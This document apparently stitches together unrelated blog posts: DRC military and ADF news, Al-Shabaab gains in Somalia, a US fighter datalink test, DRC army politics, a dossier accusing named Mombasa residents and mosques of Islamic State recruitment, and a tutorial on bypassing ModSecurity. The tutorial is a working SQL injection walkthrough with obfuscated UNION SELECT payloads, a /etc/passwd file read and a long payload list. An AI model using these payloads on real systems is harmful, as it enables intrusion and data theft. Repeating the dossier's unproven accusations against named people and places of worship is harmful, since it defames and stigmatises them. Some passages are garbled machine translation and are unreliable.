DRC's High Military Court delivered its judgment on Wednesday, December 15, 2021 in the appeal case lodged by 8 FARDC officers sentenced at first instance for various charges. Among the first 5 cases submitted In court, one of the defendants, a Major accused of violating the instructions, had his sentence reduced from 5 to 3 years, while Lieutenant Kibonge, prosecuted for murder, was sentenced to death and dismissed from the army. Colonel Nlandu was acquitted and released for lack of evidence. Four other officers prosecuted for embezzlement of public funds were each sentenced to 10 years of penal servitude before being permanently dismissed from the Armed Forces, noted my confidant who took part in the meeting. It is since July 22 that the 9 officers including 8 belonging to the army and another to the Congolese national police had been apprehended, suspected of having detained. rned funds intended to finance operations during the state of siege, following a stay in Bunia of the inspector general of the FARDC, Army General Gabriel Amisi Kumba, accompanied by a large delegation.

  ADF led a new incursion on the morning of this Thursday, December 16, 2021 on national route number 44 between the localities of Lukaya and Makumo, specifically in the Vingazi village of the Bangole group, Babila Babombi's chief in the territory of Mambasa and Ituri. Kasereka Sivamwenda of the local civil society who warned of this incursion ahead of a provisional assessment of 8 massacred civilians and a vehicle loaded with stolen goods. "Out of a total of 5 people on the RN44 and we are alerted that the names were directed to the west of the RN 44 to Mekwata and there were already 3 three bodies on site, which resulted in a total of 8 people. According to the same source, I would like to train from village to village, which endangers the population living in the localities of Mangonzi, Malikwanga and Mangila. Since the launch of joint military operations between the Congolese and Ugandan armies in the neighboring region of Beni in northern Kivu, the ADF has established fire brigade, established their bastions in this forest area located between the territories of Mambasa and Irumu in Ituri. Several dozen civilians have already been abducted in this region where, despite the declining state of security since May last, the army has struggled to clear the area off these terrorists.

The Al-Qaeda affiliated Al-Shabaab continue to make gains as Somali government and allies fall out. The Islamist militants reportedly captured a strategic town in the semi-autonomous central state of Galmudug.

 

The Al-Qaeda associated militant force has been able to conduct string of incursion, imminently underscoring the group’s making gains amid notable divisions between Federal government and its allies in the region.

This trend has been notable for more than a decade whereby, Al-Shabaab has been able to catapult it insurgency by capitalizing on deep political divisions in Somalia, and now the situation continues to deteriorate over long-delayed elections.

Corresponding military and local reports indicate that, the militant group captured the town of Eldheere, about 30 km south of Galmudug’s capital Dhusamareb. Al-Shabaab fighters raided and bombed a police station before taking over the strategic town on December 14. Al-Shabaab operatives blew up the town’s police station, a military base, and other administrative buildings.and also kidnapped a trader; besides were threatening a key regional road.so, on Monday, December 13, Al-Shabaab fighters briefly took over the town of Mataban before it was recaptured by troops from Galmudug state as per local sources.

The raids in Galmudug follow infighting between the Somali government and its erstwhile allies, Ahlu Sunnah Wal Jama’a (ASWJ), a Galmudug militia that was instrumental in the fight against Al-Shabaab. ASWJ says the government has accepted too many hardline clerics into its fold.

Intelligence analysts have severally warned of toxic political divisions in the war-torn Somalia and now fear these political and geopolitical clashes will continue to derail the fight against Al-Shabaab.

Mohamed Abubakar aka Minshawary the chief Recruiter of ADF/islamic state central Africa is among the most wanted missing youths.

 

LET THIS BE AN ALERT TO ALL SECURITY AGENCIES  IN EAST AFRICA AND PEOPLE WORKING AT BORDER POINTS

 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::

In an effort to sketch a face of a jihadist, one notable is the fact that the mark of a terrorist is behavior, not ideology. One such case is Mohamed Abubakar aka Minshawary (a pseudonym on various HDCN), a 22 year old native male who is wanted in the Republic of Kenya over his links to terrorism, particularly for his close association with Salim Mohamed Rashid, a Mid-Level commander of the Islamic States Wilayaat Congo (IS-Central Africa Province) and his local associates including Abdulhakim Sagaar, Hashbel Karama aka Abu Ghuraba a radicalizer at Masjid Jamia, and Jamal Din a recruiter. Abubakar is believed to be radical and extreme since his mid-teenage, but his penchant for Jihad got insatiable when his childhood buddy Salim Mohamed Rashid went to DR Congo and in recent past appeared in an ISCAP video proclaiming his forays doingHijra.

Mohamed Abubakar is also a senior member of a youth network that exploits Masjid Musa Mosque located in Manjengo area of Mombasa, a coastal tourist city in Kenya, as a radicalization and recruitment center. Intelligence tracked and traced the network to Goma and Butembo in DR-Congo. A number of Kenyan youths from the Masjid Musa Mosque were last seen in the 2 cities after getting temporary unofficial-jobs as truckers. Abubakar recruited the youths and planned their logistics to DR-Congo by getting them temporary jobs as ‘turn-boys for trucks’ destined for Democratic Republic of Congo. Freight Forwarding companies owned by some Yemeni businessmen are often exploited during these terrorist operations. At Goma or Bukavu, they spend a night or two at specific Mosques where they are picked by ISCAP logisticians and moved to terrorists training camps in Beni deep in Kivu prefecture.

While authorities in Kenya are looking for the terror suspect over alleged links to the Al-Qaeda branch in Somalia, Harakat Shabaab al-Mujahideen, Mohamed Abubakar is a logistician for Islamic States Central Africa Province (ISCAP) terrorist organization, the ISIS branch in DR-Congo. He is a terrorist cell ran and controlled by his old time friend and childhood buddy, Salim Mohamed Rashid, a thief turned jihadist who mastered how to assemble IED’S while still living in Mombasa. Abubakar claims he is a a Swahili poet and aNasheedartist based on Swahili, Arabic and English languages, a perfect cover for symbol/coded communication.

The release of AbulHakim Sagaar may have had a significant impact of Abubakar’s socio-psychologically, prompting him to perhaps think about achievingshahada. Fearing that his network has been compromised by either security intelligence services or rival terrorist organization Al Shabaab, Mohamed Abubakar is potentially dangerous and as intelligence socio-psychology experts warn; will go into sleeper cell mode and subsequently morph into either a lone-wolf or make Hijra outside Kenya (In Somalia or DR-Congo).

According to intelligence experts, terrorism is not owned by a particular organization or ideology, rather, it’s a tactic deployed by anyone looking to use violence for some political or religious aim. “Abubakar created an audio visual production in form of anasheed, in which he aspires to die a hero after inflicting heavy casualties on enemies of his ideology, an indicator he was preparing to conduct an attack at home or elsewhere”. He is terrorist, and having not only government officials but everyday people understand that is key to catching additional would-be attackers before it’s too late.

TERRORISM! FROM THE MOSQUES AT EASTAFRICA COAST TO THE JUNGLES OF EASTERN DRC.

 

In Mombasa, Mlango wa Papa Mosque is gradually but covertly being converted to an Islamic States ideology indoctrination center and a source of jihadists, an indicator the Al-Qaeda branch in Somalia, Harakat Al-Shabaab al Mujahideen has been badly outbid and routed out of its traditional East African coastal networks. The Mosque, a flashpoint during the Rogo and Makaburi heydays, is giving away youthful members to the Islamic States terrorist organization in the Democratic Republic of Congo (ISCAP DR-Congo).

The eyes of regional Counter Terrorism Operators are focused on Coastal Kenya following a string of suspect terror events traced back to Islamic States terrorist group sleeper cells. In Mid-August, 2021, Abdul Hakim Sagar, a Mombasa based Printer and Mosque official of Mlango wa Papa Mosque was picked by counter terrorism operators. Intelligence warns that, him, alongside Suleiman Mohamed who joined the Islamic States Congo Province group early 2020, are actively recruiting, facilitatinghijra, and financing activities of the Islamic States terrorist group at the Mosque located in Old Town area. Sagar is a relative of Haniya Sagar Rogo, wife to the late Aboud Rogo, a notorious Al-Shabaab al Mujahideen recruiter, financier, and ideologue. Abdul-Hakim Sagar was one of Rogo’s best students and had a ‘Father-Son’ relationship with the rogue cleric. Abdul is believed to be a stalwart of the Rogo network, He has ensured patrons remained faithful to the cause and often swear fealty to the late ideologue.

According to intelligence analysts at S.I, there is a great deal of variety in the way Muslims youth at Old Town and neighboring places are being radicalized and recruited for ISCAP. The recruiters have consistently used the mosques, gyms and local Madrassa and Islamic associations as places to spot potential recruits. The recruits are then taken aside, away from the view of the community, and radicalized one-on-one or in small groups then once indoctrinated are facilitated to travel to Congo and Mozambique.

Abdul Sagar has used his printing press to print radicalization material for the group and has kept close contact with Suleiman Mohamed via some specific high dimension communication networks (HDCN) including Facebook Messenger, Signal, Telegram, and 2 other popular encrypted chat platforms, some of which are often recommended by Jihadist Cyber teams. Abdul has also kept covert communication with Nasra Mohamed, an Islamic States sympathizer from Mombasa. Nasra is the sister in-law to Mombasa politician, Mohamed Sagar another relative of Abdul Hakim Sagar. Nasra has been to Syria where she served the Daesh. Intelligence collected by S.I confirms Nasra’s Hijra was facilitated by Abdul Hakim Sagar. Nasra was intercepted by Counter Terrorism officials multiple times in her attempts to travel to Turkey, Oman, Syria, Egypt, and Libya. Dubai immigration officials denied her a Visa after she appeared on the INTERPOL red-list and intelligence reports.

S.I and security services have repeatedly warned about domestic terrorists and grassroots jihadists.  The Kenyan homeland will face a persistent and evolving terrorist threat over time. The main threat comes from al-Shabaab Mijahideen, driven by their undiminished intent to attack Kenya and a continued effort by these terrorist groups to adapt and improve their capability, besides the new ISIS outfit in East and Central Africa who original birthplace was Coastal Kenya (Ref: Al Muhajiroun). The threat of ISCAP attacks in Kenya is high, and such the Republic of Kenya is currently is in a heightened threat environment.

Despite recent counter terrorism successes, the threat of attacks will remain high over time. Terrorist attacks do not occur in a vacuum — rather, they are the result of a methodical process, which makes perpetrators vulnerable to detection each step of the way and this is how Abdul Hakim Sagar and his associates have been outed. Because of this, it is important to focus on indications that attacks are being planned regardless of the actor’s race, ethnicity or ideological bent in an effort to prevent future atrocities. Abdul Hakim Sagar accomplices have caused their families great pain and incurred them significant financial loss. Hakim Saggar and his relatives were involved in violent skirmishes at the Mlango wa Papa Mosque as they attempted to eject the Sufi leadership in favor of violent Wahhabi ideologues. The Saggar’s want the Islamic States to support their jihad project in Mombasa, this would mean massive financial support which would eventually give them sociopolitical and religious power in the Coastal tourist city and beyond.

SOME KEY FIGURES OF ISLAMIC STATE TERRORISTS OUR INTELLIGENCE AND LOCAL COMMUNITIES MUST BE AWARE OF! MAKE SURE THEY DO NOT HAVE THEIR NETWORKS INSIDE OUR TOWNS,VILLAGES AND MOSQUES.

 

1.Abdul

Hakim Sagar is a Mombasa based Printer and

Mosque official of Mlango wa Papa Mosque.

Intelligence warns that, him, alongside

Suleiman Mohamed who joined the Islamic

States Congo Province group early 2020, are

actively recruiting, facilitating hijra, and

financing activities of the Islamic States

terrorist group at the Mosque located in Old

Town area. Sagar is a relative of Haniya

Sagar Rogo, wife to the late Aboud Rogo, a

notorious Al-Shabaab al Mujahideen

recruiter, financier, and ideologue. Abdul-

Hakim Sagar was one of Rogo’s best

students and had a ‘Father-Son’ relationship

with the rogue cleric. Abdul is believed to be

a stalwart of the Rogo network, He has

ensured patrons remained faithful to the

cause and often swear fealty to the late

ideologue.

According to intelligence analysts ,

there is a great deal of variety in the way

Muslims youth at Old Town and

neighboring places are being radicalized

and recruited for ISCAP. The recruiters

have consistently used the mosques,

gyms and local Madrassa and Islamic

associations as places to spot potential

recruits. The recruits are then taken

aside, away from the view of the

community, and radicalized one-on-one

or in small groups then once

indoctrinated are facilitated to travel to

Congo and Mozambique.

Abdul Sagar has used his printing press to

print radicalization material for the group

and has kept close contact with Suleiman

Mohamed via some specific high dimension

communication networks (HDCN) including

Facebook Messenger, Signal, Telegram, and

2 other popular encrypted chat platforms,

some of which are often recommended by

Jihadist Cyber teams. Abdul has also kept

covert communication with Nasra Mohamed,

an Islamic States sympathizer from

Mombasa.

2.Nasra Mohamed,

an Islamic States sympathizer from

Mombasa. Nasra is the sister in-law to

Mombasa politician, Mohamed Sagar

another relative of Abdul Hakim Sagar. Nasra

has been to Syria where she served the

Daesh. Intelligence Information confirms

Nasra’s Hijra was facilitated by Abdul Hakim

Sagar. Nasra was intercepted by Counter

Terrorism officials multiple times in her

attempts to travel to Turkey, Oman, Syria,

Egypt, and Libya. Dubai immigration officials

denied her a Visa after she appeared on the

INTERPOL red-list and intelligence reports.

3.Muhammad Abubakar Said aka Minshawary (a pseudonym on various (social media platforms), a 22 year old native of Kenya precisely from kibokoni is wanted in the Republic of Kenya over his links to terrorism. Abubakar is believed to be radical and extreme since his mid-teenage, but his penchant for Jihad got insatiable when his childhood buddy Salim Mohamed Rashid went to DR Congo and in recent past appeared in an ISCAP video proclaiming his forays doing hijra.

Mohamed Abubakar went to Liwatoni Muslim School and is currently a student at Ummah University pursuing a Diploma in Business Management is also a senior member of a youth network that exploits Masjid Musa Mosque located in Manjengo area of Mombasa, a coastal tourist city in Kenya, as a radicalization and recruitment center with tracked and traced network to Goma and Butembo in DR-Congo. A number of Kenyan youths from the Masjid Musa Mosque were last seen in the 2 cities after getting temporary unofficial-jobs as truckers. Abubakar recruited the youths and planned their logistics to DR-Congo by getting them temporary jobs as ‘turn-boys for trucks’ destined for Democratic Republic of Congo. Freight Forwarding companies owned by some Yemeni businessmen are often exploited during these terrorist operations. At Goma or Bukavu, they spend a night or two at specific Mosques where they are picked by ISCAP logistician’s and moved to terrorists training camps in Beni deep in Kivu prefecture.

While authorities in Kenya are looking for the terror suspect over alleged links to the Al-Qaeda branch in Somalia, Harakat Shabaab al-Mujahideen, Mohamed Abubakar is a logistician for Islamic States Central Africa Province (ISCAP) terrorist organization, the ISIS branch in DR-Congo. He is a member of a terrorist cell ran and controlled by his old time friend and childhood buddy, Salim Mohamed Rashid. Abubakar claims he is a a Swahili poet and aNasheedartist based on Swahili, Arabic and English languages, a perfect cover for symbol/coded communication.

4.Salim Mohamed Rashid aka chotara, he is a thief who turned into a jihadist and running network of a terror cells, a Mid-Level commander of the Islamic States Wilayaat Congo (IS-Central Africa Province).Rashid mastered the art of assembling IEDs when he was still living in mombasa.

5.Others are Hashbel Karama aka Abu Ghuraba a radicalizer at Masjid Jamia and Jamal Din a recruiter.

Will US F22 and F35 be able to stealthy communicate during sky operations

 

The latest test of the gatewayONE communication system, developed to allow F22 and F35 to communicate with each other and transfer mission data without being spotted, failed, but thet Pentagon still believes it is on  the right track two fighters work together.

According to US Air Force acquisition executive Will Roper, the trial on 9 December at the Yuma Proving Ground in Arizona, managed to fulfill half of the tasks set before it. However, the gatewayONE module mounted on an unmanned Kratos XQ-58A Valkyrie drone flying alongside the two jets "lost connectivity" soon after take-off. The preliminary version is that some of the module's hardware was displaced or came loose during lift-off.

"We think we had a connector that came loose during it because the gateway itself was fine when the Valkyrie landed. So [it's] a thing we've learned from and we'll fix next time […] Next time we get out, flying in the next on-ramp, we'll probably check those soldering points more than one time", Will Roper said.

The Air Force believes the gatewayONE will be able to give the necessary connectivity between the newest jet and its predecessor, but admits the proof of concept might be months away due to the setbacks in the last trial. Nonetheless, the 9 December test gave some promising results – namely, the on the ground second gatewayONE module managed to transfer some of the data between F-22 and F-35 into the skies, such as targeting cues. Although, it never managed to transfer all the information it was supposed to.

The Pentagon initially considered installing a similar module, called the Advanced Battle Management System, directly on the jets to enable direct connectivity between the fourth and the fifth-generation fighters, and even ran the first test in 2019. According to defence officials, the two jets managed to exchange data using radio systems built by the respective contractors who modelled the original jets, Lockheed Martin and Northrop Grumman.

However, the Pentagon has since seemingly abandoned the idea in favour of an autonomous drone-mounted system. While normally with the introduction of new communication standards or data links the older machines are retrofitted with compatible equipment, such an operation could prove both costly and time-consuming, when it comes to an extensive fleet of nearly 190 American F-22 fighters. Air Force Chief Architect Preston Dunlap suggested during a conference with the press on 16 December, that using low-cost and expendable drones to fill in the communications gap between the two generations of jets might be a better approach.

How to bypass mod_security (WAF)

 

What is Mod_security?

ModSecurity is an embeddable web application firewall under GNU license that runs as a module of the Apache web server, provides protection against various attacks on web applications and allows monitoring HTTP traffic, as well as performing analysis in real time without the need to make changes to the infrastructure existing. modSecurity filters attacks by XSS, SQL Injection, abnormal behavior in protocols, robots, Trojans, LFI … also incorporating specific rules for some of the most popular content managers such as Joomla or Wordpress.

Now … we go through steps, the first thing we have to do is look for parameters on the website and test them, as you already know, something very useful and fast is to use a simple ‘ (single quote) after the value of a parameter to generate a database error and find out whether or not the page is vulnerable to sql injection.

I found a parameter called “productid” and a single quote was added to the end of its value. As a result, the page showed the error:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’

Image for postImage for post

This means that the page is vulnerable to sql injections.

At this point we proceed to perform the injection, with which we will use a simple method as the first method:

-1+union+select+1+ — +

As a result of the above we have the following:

Image for postImage for post

The site is protected by Mod_security.

Next is to use different ways of injecting and encoding methods for sql injections.

I personally feel more comfortable with the injection with the following syntax:

-1+union(select+1)+ — +

Then I tried mixing upper and lower case:

Image for postImage for post

but with the same result ..

I also tried using url encoding

-1+%55nIoN(%53EleCt+1)+ — +

Image for postImage for post

Double and triple URL encoding

% 2555nIoN% 28% 2553EleCt% 2B1% 29

% 252555nIoN% 2528% 252553EleCt% 252B1% 2529

But it didn’t work out.

Finally I decided to stick with a single URL encoding vilifying this payload:

-1+%55nIoN(%53EleCt+1)+ — +

The next step was to mix comment coding:

-1+/*!12345% 55nIoN*//**/(/*!12345%53EleCt*//**/1)+ — +

Image for postImage for post

And ready!! with this we bypass the WAF filters!

shows us the following legend:

“The used SELECT statements have a different number of columns”

With this we will find out the number of columns on the page:

In this case there are 24 columns, of which number 5 is vulnerable:

-1+/*!12345UnIoN*//**/(/*!12345SEleCt*//**/ 1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24)+ — +

Now the next thing is to get information … For this I will use one of my resources where the different ways to extract basic information from a database come, the complete information is in the following link:

https://github.com/Y000o/sql_injection_basic/blob/master/sql_injection_basic_en.md

|   Version   |  SELECT @@version o SELECT version()  | gives us the version of the database  |

| Current User | SELECT user() o SELECT system_user() | gives us the user we have |

| List Users | SELECT user FROM mysql.user | shows us all users |

| Database  | SELECT database() | shows us the database we are in |

| Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | shows us the databases  |

| List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the tables of the chosen database |

| List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | shows us the columns of the chosen table |

| Local File Access |  UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)  | if possible, let us read system files |

| DB location | SELECT @@datadir | It shows us the address where the database is installed |

Finally I will leave a list of payloads with which you can help:

Union Select

/*!50000%55nIoN*/ /*!50000%53eLeCt*/

%55nion(%53elect 1,2,3)-- -

+union+distinct+select+

+union+distinctROW+select+

/**//*!12345UNION SELECT*//**/

/**//*!50000UNION SELECT*//**/

/**/UNION/**//*!50000SELECT*//**/

/*!50000UniON SeLeCt*/

union /*!50000%53elect*/

+ #?uNiOn + #?sEleCt

+ #?1q %0AuNiOn all#qa%0A#%0AsEleCt

/*!%55NiOn*/ /*!%53eLEct*/

/*!u%6eion*/ /*!se%6cect*/

+un/**/ion+se/**/lect

uni%0bon+se%0blect

%2f**%2funion%2f**%2fselect

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

REVERSE(noinu)+REVERSE(tceles)

/*--*/union/*--*/select/*--*/

union (/*!/**/ SeleCT */ 1,2,3)

/*!union*/+/*!select*/

union+/*!select*/

/**/union/**/select/**/

/**/uNIon/**/sEleCt/**/

+%2F**/+Union/*!select*/

/**//*!union*//**//*!select*//**/

/*!uNIOn*/ /*!SelECt*/

+union+distinct+select+

+union+distinctROW+select+

uNiOn aLl sElEcT

UNIunionON+SELselectECT

/**/union/*!50000select*//**/

0%a0union%a0select%09

%0Aunion%0Aselect%0A

%55nion/**/%53elect

uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/

%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/

%0A%09UNION%0CSELECT%10NULL%

/*!union*//*--*//*!all*//*--*//*!select*/

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C

/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/

+UnIoN/*&a=*/SeLeCT/*&a=*/

union+sel%0bect

+uni*on+sel*ect+

+#1q%0Aunion all#qa%0A#%0Aselect

union(select (1),(2),(3),(4),(5))

UNION(SELECT(column)FROM(table))

%23xyz%0AUnIOn%23xyz%0ASeLecT+

%23xyz%0A%55nIOn%23xyz%0A%53eLecT+

union(select(1),2,3)

union (select 1111,2222,3333)

uNioN (/*!/**/ SeleCT */ 11)

union (select 1111,2222,3333)

+#1q%0AuNiOn all#qa%0A#%0AsEleCt

/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/

%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/

+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+

+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C

/*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/

+%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+

/*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/

/union\sselect/g

/union\s+select/i

/*!UnIoN*/SeLeCT

+UnIoN/*&a=*/SeLeCT/*&a=*/

+uni>on+sel>ect+

+(UnIoN)+(SelECT)+

+(UnI)(oN)+(SeL)(EcT)

+’UnI”On’+'SeL”ECT’

+uni on+sel ect+

+/*!UnIoN*/+/*!SeLeCt*/+

/*!u%6eion*/ /*!se%6cect*/

uni%20union%20/*!select*/%20

union%23aa%0Aselect

/**/union/*!50000select*/

/^.*union.*$/ /^.*select.*$/

/*union*/union/*select*/select+

/*uni X on*/union/*sel X ect*/

+un/**/ion+sel/**/ect+

+UnIOn%0d%0aSeleCt%0d%0a

UNION/*&test=1*/SELECT/*&pwn=2*/

un?<ion sel="">+un/**/ion+se/**/lect+

+UNunionION+SEselectLECT+

+uni%0bon+se%0blect+

%252f%252a*/union%252f%252a /select%252f%252a*/

/%2A%2A/union/%2A%2A/select/%2A%2A/

%2f**%2funion%2f**%2fselect%2f**%2f

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

/*!UnIoN*/SeLecT+

Concat

CoNcAt()

concat() 

CON%08CAT()

CoNcAt()

%0AcOnCat()

/**//*!12345cOnCat*/

/*!50000cOnCat*/(/*!*/)

unhex(hex(concat(table_name)))

unhex(hex(/*!12345concat*/(table_name)))

unhex(hex(/*!50000concat*/(table_name)))

group_concat

/*!group_concat*/()

gRoUp_cOnCAt()

group_concat(/*!*/)

group_concat(/*!12345table_name*/)

group_concat(/*!50000table_name*/)

/*!group_concat*/(/*!12345table_name*/)

/*!group_concat*/(/*!50000table_name*/)

/*!12345group_concat*/(/*!12345table_name*/)

/*!50000group_concat*/(/*!50000table_name*/)

/*!GrOuP_ConCaT*/()

/*!12345GroUP_ConCat*/()

/*!50000gRouP_cOnCaT*/()

/*!50000Gr%6fuP_c%6fnCAT*/()

unhex(hex(group_concat(table_name)))

unhex(hex(/*!group_concat*/(/*!table_name*/)))

unhex(hex(/*!12345group_concat*/(table_name)))

unhex(hex(/*!12345group_concat*/(/*!table_name*/)))

unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))

unhex(hex(/*!50000group_concat*/(table_name)))

unhex(hex(/*!50000group_concat*/(/*!table_name*/)))

unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))

convert(group_concat(table_name)+using+ascii)

convert(group_concat(/*!table_name*/)+using+ascii)

convert(group_concat(/*!12345table_name*/)+using+ascii)

convert(group_concat(/*!50000table_name*/)+using+ascii)

CONVERT(group_concat(table_name)+USING+latin1)

Information_schema.tables

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -

/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table

/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table

Summing it all as the political and military tension in DRC hikens

 By  Niyikiza Acidic Tricore Emmanuel 

In need to continue dominance in the FCC-CASH coalition,kabila sought to take the electoral commission,constitutional court as he earlier had done it with the army.This need for dominance has come along with alot of chaos as Tshisekedi was also fighting to cement his control in DRC.All these fights have led to emnent collapse of the coalition.This FCC-CASH coalition is however a threat to DRC's security and regional security owing to the sulphurous structure of the congolese army.With the present structure of DRC's army administration and operations,the destruction of KABILA-TSHISEKEDI allience may come with miltary hickups or chaos as the republican guard commander Tshiwewe hinted on anticipated betrayal by some of FARDC since most miltary positions are occupied by kabila let's take a deep look into the military perspective of this internal boiling up of the political and military situation in DRC.

The biggest surprise was the replacement of the all-powerful army general John Numbi as Inspector General of the FARDC by another powerful general, very close to Joseph Kabila, Gabriel Amisi Kuumba known under the pseudonym of Tango Four. The latter is raised at the same time to the highest rank of the FARDC, that of army general (four stars). At this level, he joins Army Generals Célestin Mbala Musense, the Chief of the General Staff of the FARDC who has been in this post since Joseph Kabila and John Numbi who still retains his operational function of command of the operational staff advanced to Beni to fight armed groups.

If the side-lining of General Numbi was to meet the expectations of public opinion and Americans, – in particular Tybor Nagy, the American Under-Secretary of Foreign Affairs -, the careful analysis of the profiles and backgrounds of the promoted generals informs yet Joseph Kabila retains, if not strengthens, his influence over the army,Kabila’s FCC holds the Ministry of Defense. Generals Mbala, Amisi, Numbi, Yav are known to be very loyal to Kabila.An area of ​​the Tshisekedi-Kabila deal that must remain in the hands of Joseph Kabila, according to sources who facilitated this famous secret deal between the two political figures. According to Jeune Afrique: “This reshuffle enshrines a certain continuity in the military apparatus, despite numerous changes of posts. The shadow of Joseph Kabila is still visible, in view of the functions attributed to several generals who are deemed loyal to him”. This is what we will try to decipher, in a non-exhaustive manner, on the basis of cross-checked information from our various military sources on the ground and from the respective entourages of Kabila and Tshisekedi.

To properly analyze these appointments, it is necessary to read them both strategically and politically. From a strategic point of view, the main question to be asked is whether this restructuring of the army’s high command was to allow the FARDC to increase in power to help curb the insecurity that reigns throughout the country. The profile and background of the promoted generals can give us fairly clear indications as to this. The second question to ask is that of starting from the profiles of the promoted to see which camp they would switch to in the event of a possible open political confrontation between Kabila and Tshisekedi, despite the fact that on paper the army is supposed to remain apolitical. A stance regularly denied on the facts when it comes to analyse the African (Congolese) military political sociology over the past 60 years.

Army General Célestin Mbala Munsense was the FARDC Chief of General Staff since July 14, 2018.  Since 1997 General Mbala has been closely associated with Joseph Kabila, then chief of staff of the land force. After the accession of Joseph Kabila to power in 2001, General Mbala  appointed Deputy Head of the Military House of the Head of State in charge of administration and logistics from 2003 until 2005. He became Head of President Kabila’s military house in 2006. He assumed this function continuously until 2014, combining it with that of Deputy Chief of General Staff of the FARDC in charge of administration, in addition to simultaneously exercising a third function of general director in charge of logistics for the Ministry of Defense.President Tshisekedi reconfirmed him in this same post, as a sign of continuity of the device left by Kabila and of a semblance of ethnic balance with Tshisekedi. Célestin Mbala was born in Lubumbashi in 1956, with a Mulubakat father from Nyunzu territory in Tanganyika province and a Luba mother from Kasai-Oriental. General Mbala is an ex-FAZ trained at the Kananga Officer Training School (EFO). He remains little influential within the army for not having directly commanded operational units, because having been essentially an administrative officer. However, General Mbala was one of the generals who benefited from Kabila’s confidence. He advocated severity towards opponents of Kabila and the West, to the point of encouraging Kabila not to cede his power. He also managed for a long time the finances and special funds of Defense, including the main orders of strategic military equipment.

With the departure of General Amisi Tango Four from the General Inspectorate of the FARDC, it is another general close to Kabila, Lieutenant-General Jean-Claude Yav Kabej who becomes number two of the FARDC. This Katanga Lunda is one of Joseph Kabila’s trusted men. Jean-Claude Yav was part of the “hawks” of the old Kabila regime. Having evolved in particular in military intelligence, Jean-Claude Yav was responsible for closely following all the generals and senior officers of the FARDC. As deputy in charge of operations and intelligence, Jean-Claude J- Yav becomes the real operational leader of the FARDC, given his influence and his knowledge of this army. 

The appointment of Lieutenant-General Constant Ndima Kongba as Deputy Chief of General Staff in charge of administration and logistics is a good choice. This ex-FAZ ngbandi evolved in the DSP then in the MLC of Jean-Pierre Bemba, is more in the camp of the Republican general officers, despite the confidence he has gained from Kabila in recent years. He previously held the position of Commander of the Third Defense Zone in the east of the country. The choices of Major General Maurice René Diasuka Diakana as Chief of Staff of the Air Force and Vice-Admiral Jean-Marie Valentin Linguma Mata as Chief of Staff of the Naval Force seem to favor rather criteria of competence and non-ethnic. The maintenance of General Michel Mandiangu Mbala Michel as deputy chief of staff in charge of intelligence, the head of military intelligence of the FARDC, a highly coveted position held by the late General Kahimbi, is a small surprise. This former FAZ officer was the head of the Studies and Analysis Department which has been working in intelligence for 30 years. His subordinates consider him to be inactive and affable.

Army General Gabriel Amisi Kumba Tango Four replaces John Numbi as General Inspector of the FARDC. Raised to the highest rank of the FARDC army general (4 stars), Gabriel Amisi Kumba is one of the generals of confidence and loyal to President Kabila. This ex-FAZ who rallied to the AFDL and RCD-Goma rebellions was for a long time the man-orchestra of Kabila’s operational system within the FARDC. General Amisi’s name is regularly cited by military sources as a planner, alongside the late General Delphin Kahimbi, of the current insecurity in the eastern part of the Congo, particularly in Ituri. Under sanctions from the United States of America and the European Union, Amisi, visibly tired, had nevertheless asked to end his military career in the Chancellery of national orders. The native of Maniema will still have to continue a transitional activity within the General Inspectorate of the FARDC while probably keeping his relays in the army where he has placed close officers, in particular within the Republican Guard and the Land Force.

Another sulphurous general who joins Amisi at the General Inspectorate is Lieutenant-General Akili Mohindo Mundos.General Muhindo Akili alias Mundos, past lieutenant-general, becomes the deputy general inspector in charge of operations and intelligence. The latter, under international sanctions, has long been Kabila’s dirty work man.

